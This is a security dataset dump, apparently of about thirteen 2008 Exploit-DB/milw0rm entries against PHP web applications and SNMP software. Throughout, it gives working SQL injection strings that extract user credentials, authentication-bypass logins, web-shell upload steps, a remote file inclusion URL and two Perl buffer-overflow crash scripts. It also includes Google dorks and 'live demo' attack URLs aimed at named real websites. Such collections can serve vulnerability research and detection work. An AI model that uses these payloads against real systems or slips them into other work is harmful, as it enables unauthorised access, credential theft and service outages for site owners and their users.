QLWD/code_shield huggingface dataset:
标题: Alstrasoft SendIt Pro - Arbitrary File Upload EDB-ID: 7101 CVE: 2008-6932 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-12 漏洞利用脚本: [~] AlstraSoft SendIt Pro Remote File Upload
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 12.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] dork: "Powered by AlstraSoft SendIt Pro"
[~]
[~] my bug number now: 36
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

you save your shell like this: shell.php.pjpeg

warning: filetype not php.jpeg 

like this: filetype: php.pjpeg 

after you go site 

Recipients' e-mail address: write anything

Select file : select your_shell.php.pjpeg

Your e-mail address: email

Message to send to recipient : write anything

and click to send button after you see link and clik to that link

you go your_shell.php.pjpeg :

localhost/script/send/files/[id]shell.php.pjpeg

example for demo:

http://www.blizsoft.com/send/files/84019shell.php.pjpeg

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-12] URL: https://www.exploit-db.com/exploits/7101
标题: Net-SNMP 5.1.4/5.2.4/5.4.1 Perl Module - Buffer Overflow (PoC) EDB-ID: 7100 CVE: 2008-2292 类型: DOS 平台: LINUX 发布日期: 2008-11-12 漏洞利用脚本: #!usr/bin/perl -w

################################################################################################################
#    Buffer overflow in the __snprint_value function in snmp_get in Net-SNMP 5.1.4, 5.2.4, and 5.4.1,
#    as used in SNMP.xs for Perl, allows remote attackers to cause a denial of service (crash) and
#    possibly execute arbitrary code via a large OCTETSTRING in an attribute value pair (AVP).
#
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2292
#    https://www.securityfocus.com/bid/29212/discuss
#
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
#    (say #!C:/Program Files/Perl/bin/perl -w)
#
#     This was strictly written for educational purpose. Use it at your own risk.
#    Author will not bare any responsibility for any damages watsoever.
#
#        Author:    Praveen Darshanam
#        Email:    praveen[underscore]recker[at]sify.com
#        Date:    11th November, 2008
#
#    NOTE:    Thanks to all my colleagues at iPolicy Networks for making this possible
#            For reliable security solutions please visit http://www.ipolicynetworks.com/
#
##################################################################################################################

use Net::SNMP;

printf("\nEnter the IP Adress of Vulnerable SNMP Manager Agent:  ");
$host_vulnerable = <STDIN>;
$port = 161;
#default SNMP port
$community = "D" x 5000;

($session, $error) = Net::SNMP->session(
                                               -hostname      => $host_vulnerable,
                                               -port          => $port,
                                               -community     => $community,
                                             -maxmsgsize    => 7000,
                                        );
 if (!defined($session))
 {
      printf("ERROR: %s.\n", $error);
      exit 1;
 }

$sysUpTime = '1.3.6.1.2.1.1.3.0';
$snmp_mal_request = $session->get_request(
                                              -varbindlist => [$sysUpTime],
                                          );

 if (!defined($snmp_mal_request)) {
                                      printf("ERROR: %s.\n", $session->error);
                                      $session->close;
                                      exit 1;
                                  }

$session->close;

# milw0rm.com [2008-11-12] URL: https://www.exploit-db.com/exploits/7100
标题: Alstrasoft Web Host Directory - Authentication Bypass EDB-ID: 7103 CVE: 2008-5650 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-12 漏洞利用脚本: [~] AlstraSoft Web Host Directory auth bypass
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 12.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 36
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

username: ZoRLu

password: ' or ' 1=1--


admin login for demo:

http://www.hyperstop.com/demo/webhost/

username: ZoRLu

password: ' or ' 1=1--

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-12] URL: https://www.exploit-db.com/exploits/7103
标题: Castle Rock Computing SNMPc < 7.1.1 - 'Community' Remote Buffer Overflow (PoC) EDB-ID: 7099 CVE: 2008-2214 类型: DOS 平台: WINDOWS 发布日期: 2008-11-12 漏洞利用脚本: #!usr/bin/perl -w

################################################################################################################
#    Stack-based buffer overflow in the Network Manager in Castle Rock Computing SNMPc 7.1 and
#    earlier allows remote attackers to cause a denial of service (crash) or execute arbitrary code
#    via a long community string in an SNMP TRAP packet.
#
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?execution=e3s1
#    https://www.securityfocus.com/bid/28990/discuss
#
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
#    (say #!C:/Program Files/Perl/bin/perl -w)
#
#     This was strictly written for educational purpose. Use it at your own risk.
#    Author will not bare any responsibility for any damages watsoever.
#
#        Author:    Praveen Darshanam
#        Email:    praveen[underscore]recker[at]sify.com
#        Date:    11th November, 2008
#
#    NOTE:    Thanks to all my colleagues at iPolicy
#            For reliable security solutions please visit http://www.ipolicynetworks.com/
#
##################################################################################################################

use Net::SNMP;

printf("Enter the IP Adress of Vulnerable SNMP Manager ");
$host_vulnerable = <STDIN>;
$port = 162;
$community = "D" x 19500;

($session, $error) = Net::SNMP->session(
                                               -hostname      => $host_vulnerable,
                                               -port          => $port,
                                               -community     => $community,   # v1/v2c
                                             -maxmsgsize    => 65535,
                                        );
 if (!defined($session))
 {
      printf("ERROR: %s.\n", $error);
      exit 1;
 }

$ipaddress = "172.16.16.4";
#Throwing an error without Agent so randomly assigned value to $ipaddress

$result = $session->trap(
                              -agentaddr       => $ipaddress,
                           );

if (!defined($result))
{
     printf("ERROR: %s.\n", $session->error);
     $session->close;
     exit 1;
}

$session->close;

# milw0rm.com [2008-11-12] URL: https://www.exploit-db.com/exploits/7099
标题: Joomla! Component Simple RSS Reader 1.0 - Remote File Inclusion EDB-ID: 7096 CVE: 2008-5053 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-11 漏洞利用脚本: ================================================================================================================================


  [o] Simple RSS Reader Component 1.0 Remote File Inclusion Vulnerability

       Software : com_rssreader version 1.0
       Vendor   : http://www.joomlashop.dk/
       Download : http://extensions.joomlashop.dk/index.php?option=com_docman&task=cat_view&gid=16&Itemid=47
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


================================================================================================================================


  [o] Vulnerable file

       administrator/components/com_rssreader/admin.rssreader.php

        include( "$mosConfig_live_site/components/com_rssreader/about.html" );



  [o] Exploit

       http://localhost/[path]/administrator/components/com_rssreader/admin.rssreader.php?mosConfig_live_site=[evilcode]


================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
================================================================================================================================

# milw0rm.com [2008-11-11] URL: https://www.exploit-db.com/exploits/7096
标题: Joomla! Component com_marketplace 1.2.1 - 'catid' SQL Injection EDB-ID: 7097 CVE: 2008-0689 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-11 漏洞利用脚本: ###########################################################
Joomla com_marketplace(catid) SQL-injection vulnerability
###########################################################

###################################################
#[~] Author :  TR-ShaRk
#[~] Msn : Starhack@tr-shark.org
#[~] Im Not Hacker
#[~] Greetz : FATAL,STR0KE,ARANELWORM,CAKI_DECCAL,CEZOHAN,WEBLOADER
#[~] Orospu Cocuklari; Elitehacker,Netshooter Kardesleri

#[!] Module_Name:  com_marketplace
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_marketplace"
#[!] Script Download:  http://download.joomlaportal.ch/images/stories/loady/komponente/com_marketplace_v131.zip
##################################################


#[~] Example:
http://localhost/Path/index.php?option=com_marketplace&page=show_category&catid=[TR-ShaRk]

#[~] Exploit:
9999+union+select+concat(username,0x3a,password),2,3+from+jos_users--


#[~] LiveDemo:
http://www.mmopa.com/index.php?option=com_marketplace&page=show_category&catid=9999+union+select+concat(username,0x3a,password),2,3+from+jos_users--


###############################
Biz Hic Bir Zaman Kraliz Demedik Bunu Kanitladik
###############################

# milw0rm.com [2008-11-11] URL: https://www.exploit-db.com/exploits/7097
标题: Alstrasoft Article Manager Pro 1.6 - Authentication Bypass EDB-ID: 7102 CVE: 2008-5649 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-12 漏洞利用脚本: [~] AlstraSoft Article Manager Pro auth bypass
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 12.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 36
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit:

localhost/script/admin/admin.php

username: ' or ' 1=1--

password: ZoRLu



admin login for demo:

http://www.blizsoft.com/article/admin/admin.php

username: ' or ' 1=1--

password: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-12] URL: https://www.exploit-db.com/exploits/7102
标题: Joomla! Component Contact Info 1.0 - SQL Injection EDB-ID: 7093 CVE: 2008-5494 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-11 漏洞利用脚本: ###########################################################
Joomla com_contactinfo(catid) SQL-injection vulnerability
###########################################################

###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.

#[!] Module_Name:  com_contactinfo
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_contactinfo"
##################################################


#[~] Example:                  
http://localhost/Path/index.php?option=com_contactinfo&catid=[exploit]

#[~] Exploit: 
-9999/**/UNION/**/SELECT/**/1,2,concat(username,char(58),password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*

#[~] LiveDemo:
http://www.planetacentr.ru/index.php?option=com_contactinfo&catid=-9999/**/UNION/**/SELECT/**/1,2,concat(username,char(58),password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*


##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-11-11] URL: https://www.exploit-db.com/exploits/7093
标题: Pre Real Estate Listings - Arbitrary File Upload EDB-ID: 7094 CVE: 2008-7052 2008-6798 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-11 漏洞利用脚本: Pre Real Estate Listings (login.php) ByPass /File Upload
Script:Pre Real Estate Listings
HomePage:http://preproject.com/
Demo:http://preproject.com/ulisting/
Author:BackDoor
By Pass Exploit:
http://victim.com/scriptpath/login.php username:'or' password:'or'
Live Demo:
http://preproject.com/ulisting/login.php
File Upload Exploit:
login live demo username:'or' password:'or'
Edit Your Profile Link:http://preproject.com/ulisting/profile.php
Upload Your Shell:
Example:
http://preproject.com/ulisting/re_images/1221553817_logo_wp.php
 
Cyber-Security TIM //Lojistik

# milw0rm.com [2008-11-11] URL: https://www.exploit-db.com/exploits/7094
标题: TurnkeyForms Local Classifieds - Authentication Bypass EDB-ID: 7106 CVE: 2008-6302 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-12 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
 Turnkeyforms Local Classifieds Auth Bypass Vulnerability
==============================================================================

 [Â»] Script:             [ Turnkeyforms Local Classifieds ]
 [Â»] Language:           [ PHP ]
 [Â»] Website:            [ http://www.turnkeyforms.com/local-classifieds.html ]
 [Â»] Type:               [ Commercial ]
 [Â»] Report-Date:        [ 12.11.2008 ]
 [Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ DTLZ ]===
 
 [!] here we go...
 [Â»] http://localhost/[paht]/classifieds/Site_Admin/admin.php

 
 
===[ LIVE ]===

 [Â»] http://demo.turnkeyforms.com/localclassifieds/classifieds/Site_Admin/admin.php
 [Â»] http://petoskeyads.com/classifieds/Site_Admin/admin.php
 [Â»] http://havasufreeads.com/classifieds/Site_Admin/admin.php

 
===[ Greetz ]===

 [Â»] ALLAH
 [Â»] Tornado2800 <Tornado2800[at]gmail.com>
 [Â»] Hussain-X <darkangel_g85[at]yahoo.com>

 //Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
 //ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-12] URL: https://www.exploit-db.com/exploits/7106
标题: PozScripts Business Directory Script - 'cid' SQL Injection EDB-ID: 7098 CVE: 2008-5496 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-11 漏洞利用脚本: |___________________________________________________
|
| Business Directory Script ( cid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|
| script :  http://www.pozscripts.com/product_details.php?item_id=6
|
| DorK   :  :) 
|___________________________________________________

Exploit:
________



www.[target].com/Script/showcategory.php?cid=-264+union+select+1,concat(user(),0x3e,version()),3,4,5--



Demo
________

http://www.singwebs.com/businessdirectoryadmindemo/showcategory.php?cid=-264+union+select+1,concat(user

(),0x3e,version()),3,4,5--




____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab | G4N0K
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-11] URL: https://www.exploit-db.com/exploits/7098
标题: Quick Poll Script - 'id' SQL Injection EDB-ID: 7105 CVE: 2008-3765 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-12 漏洞利用脚本: |___________________________________________________
|
| Quick Poll (code.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|
|    Author: Hussin X
|
|    Home :  http://www.iq-ty.com/
|
|    email:  darkangel_g85@Yahoo.com
|
|
|___________________________________________________
|
| script :http://discountedscripts.com/product_info.php?products_id=69
|
|___________________________________________________

Exploit:
________


Admin Name :

www.[target].com/Script/code.php?id=-85+union+select+85,85,concat_ws(char(58),user(),version(),database())+from+answers--


______________________

table_name : column_name

answers : poll
codes : poll
comments : poll
voted : poll


______________________





L!VE DEMO:
_________


http://www.discountedscripts.com/demos/newpoll/code.php?id=-85+union+select+85,85,concat_ws(char(58),user(),version(),database())+from+answers--




# EnD

Im IRAQi

# milw0rm.com [2008-11-12] URL: https://www.exploit-db.com/exploits/7105
标题: Aj Classifieds - Authentication Bypass EDB-ID: 7089 CVE: 2008-7041 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-11 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
 AJ Classifieds Auth Bypass Vulnerability
==============================================================================

 [Â»] Script:             [ AJ Classifieds Craigs | AJ Classifieds Elite ]
 [Â»] Language:           [ PHP ]
 [Â»] Website:            [ http://www.ajclassifieds.net ]
 [Â»] Type:               [ Commercial ]
 [Â»] Report-Date:        [ 10.11.2008 ]
 [Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===

 [Â»] http://localhost/[path]/admin/home.php
 [Â»] ...
 


===[ LIVE ]===

 [Â»] http://ajclassifieds.net/demo/ajlist-craigs/admin/
 [Â»] http://ajclassifieds.net/demo/ajlist-elite/admin/

 
===[ Greetz ]===

 [Â»] ALLAH
 [Â»] Tornado2800 <Tornado2800[at]gmail.com>
 [Â»] Hussain-X <darkangel_g85[at]yahoo.com>

 //Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
 //ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-11] URL: https://www.exploit-db.com/exploits/7089
标题: AJSquare Free Polling Script - 'DB' Multiple Vulnerabilities EDB-ID: 7086 CVE: 2008-7046 2008-7045 2008-7044 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-10 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
 AJSquare Free Polling Script (DB) Multiple Vulnerabilities
==============================================================================

 [Â»] Script:             [ AJSquare Free Polling Script DataBase Version ]
 [Â»] Language:           [ PHP ]
 [Â»] Website:            [ http://www.ajsquare.com/resources/dpoll.php?resource=free_script ]
 [Â»] Type:               [ Free ]
 [Â»] Report-Date:        [ 10.11.2008 ]
 [Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===

 [1][!] Blind SQLi (MQ = off)
  [Â»] http://127.0.0.1/[path]/admin/include/newpoll.php?ques=1%27/**/AND/**/substring(@@version,1,1)=5/*  True
  [Â»] http://127.0.0.1/[path]/admin/include/newpoll.php?ques=1%27/**/AND/**/substring(@@version,1,1)=4/*  False
  
  [../admin/include/newpoll.php]
  
   <?php
   require 'connect.php';
   $ques = $_GET[ques];
   $total = $_GET[total];
   for($i=1;$i<=$total;$i++)
    {
     $val[] = array($_GET["val".$i]);
    }

   $sqlnew = "select * from newpoll where question='$ques'";
   $resnew = mysql_query($sqlnew);
   
  [../admin/include/newpoll.php]
 
 
 

 [2][!] Reset Votes - Just call resetvote.php ;)
  [Â»] http://127.0.0.1/[path]/admin/resetvote.php


 
 
===[ Greetz ]===

 [Â»] ALLAH
 [Â»] Tornado2800 <Tornado2800[at]gmail.com>
 [Â»] Hussain-X <darkangel_g85[at]yahoo.com>

 //Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
 //ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-10] URL: https://www.exploit-db.com/exploits/7086